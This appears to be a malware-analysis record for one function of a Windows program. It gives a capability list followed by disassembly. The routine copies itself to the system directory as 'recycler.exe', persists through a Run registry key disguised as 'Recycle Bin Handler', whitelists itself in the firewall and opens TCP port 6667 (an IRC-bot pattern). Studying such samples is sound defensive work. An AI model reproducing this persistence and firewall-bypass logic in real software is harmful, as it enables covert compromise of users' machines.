Function at 0x40129c
Capabilities:
Check internet connectivity via wininet
Check mutex on windows
Copy file
Create process on windows
Create thread
Delete file
Get common file path
Initialize winsock library
Persist via run registry key
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x398
push edi
push 0
push 0
push 0
push 0
push 0
call sub.USER32.DLL_PeekMessageA
push 0x8002
call sub.KERNEL32.DLL_SetErrorMode
push 0x401886
call sub.KERNEL32.DLL_SetUnhandledExceptionFilter
call sub.KERNEL32.DLL_GetTickCount
push eax
call sub.CRTDLL.DLL_srand
push 0x104
push 0x40b14c
call sub.KERNEL32.DLL_RtlZeroMemory
push 0x104
push 0x40b36c
call sub.KERNEL32.DLL_RtlZeroMemory
push 0x104
push 0x40b25c
call sub.KERNEL32.DLL_RtlZeroMemory
push 0x104
push 0x40b03c
call sub.KERNEL32.DLL_RtlZeroMemory
push 0x104
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_RtlZeroMemory
push 0x100
lea eax, [ebp - 0x204]
push eax
call sub.KERNEL32.DLL_RtlZeroMemory
push 0x104
push 0x40b14c
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x104
push 0x40b36c
call sub.KERNEL32.DLL_GetWindowsDirectoryA
push 0x40b25c
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
push 0x104
push 0x40b03c
call sub.KERNEL32.DLL_GetSystemDirectoryA
push str.ProductRun
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push 0x80000002
call fcn.00401d21
mov dword [0x40b4a0], eax
inc eax
mov dword [0x40b4a0], eax
push eax
push str.ProductRun
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push 0x80000002
call fcn.00401cc9
push str.recycler.exe
push 0x40b03c
push str._s_s
lea eax, [ebp - 0x104]
push eax
call sub.USER32.DLL_wsprintfA
add esp, 0x30
lea eax, [ebp - 0x104]
push eax
push 0x40b14c
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
je 0x40146a
lea eax, [ebp - 0x104]
push eax
push str.Recycle_Bin_Handler
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call fcn.00401bf2
add esp, 0x10
push 0x80
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_DeleteFileA
jmp 0x401422
push 0x3a98
call sub.KERNEL32.DLL_Sleep
push 0
lea eax, [ebp - 0x104]
push eax
push 0x40b14c
call sub.KERNEL32.DLL_CopyFileA
or eax, eax
je 0x401418
jmp 0x401445
push 0x2710
call sub.KERNEL32.DLL_Sleep
push 0
push 0
push 0x40b14c
lea eax, [ebp - 0x104]
push eax
push 0
push 0
call sub.SHELL32.DLL_ShellExecuteA
cmp eax, 0x1f
jl 0x40143b
push 0
call sub.KERNEL32.DLL_ExitProcess
call sub.CRTDLL.DLL_rand
mov ecx, 0x1388
cdq
idiv ecx
lea edi, [edx + 0x1770]
push edi
call sub.KERNEL32.DLL_Sleep
push 0x40b14c
push str._s::enabled:_xpsp2res.dll__22005
lea eax, [ebp - 0x204]
push eax
call sub.USER32.DLL_wsprintfA
lea eax, [ebp - 0x204]
push eax
push 0x40b14c
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyDomainProfileAuthorizedApplicationsList
push 0x80000002
call fcn.00401bf2
lea eax, [ebp - 0x204]
push eax
push 0x40b14c
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList
push 0x80000002
call fcn.00401bf2
push str.6667:TCP::Enabled:_xpsp2res.dll__22005
push str.6667:TCP
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileGloballyOpenPortsList
push 0x80000002
call fcn.00401bf2
push str.6667:TCP::Enabled:_xpsp2res.dll__22005
push str.6667:TCP
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyDomainProfileGloballyOpenPortsList
push 0x80000002
call fcn.00401bf2
add esp, 0x4c
cmp dword [ebp + 8], 1
jle 0x401515
mov eax, dword [ebp + 0xc]
push dword [eax + 4]
call sub.KERNEL32.DLL_DeleteFileA
push str.MTX3232
push 0
push 0
call sub.KERNEL32.DLL_CreateMutexA
mov dword [0x40b5ac], eax
push 0x7530
push eax
call sub.KERNEL32.DLL_WaitForSingleObject
cmp eax, 0x102
jne 0x401541
push 0
call sub.KERNEL32.DLL_ExitProcess
lea eax, [ebp - 0x394]
push eax
push 0x202
call sub.WS2_32.DLL_WSAStartup
or eax, eax
je 0x40157e
lea eax, [ebp - 0x394]
push eax
push 0x101
call sub.WS2_32.DLL_WSAStartup
or eax, eax
je 0x40157e
push 0
call sub.KERNEL32.DLL_ExitProcess
jmp 0x40157e
push 0x2710
call sub.KERNEL32.DLL_Sleep
push 0
push 0
call sub.WININET.DLL_InternetGetConnectedState
or eax, eax
je 0x401574
push 0x40b4a4
push 0
push 0
push 0x404008
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
push eax
call sub.KERNEL32.DLL_CloseHandle
call fcn.004015d6
jmp 0x40157e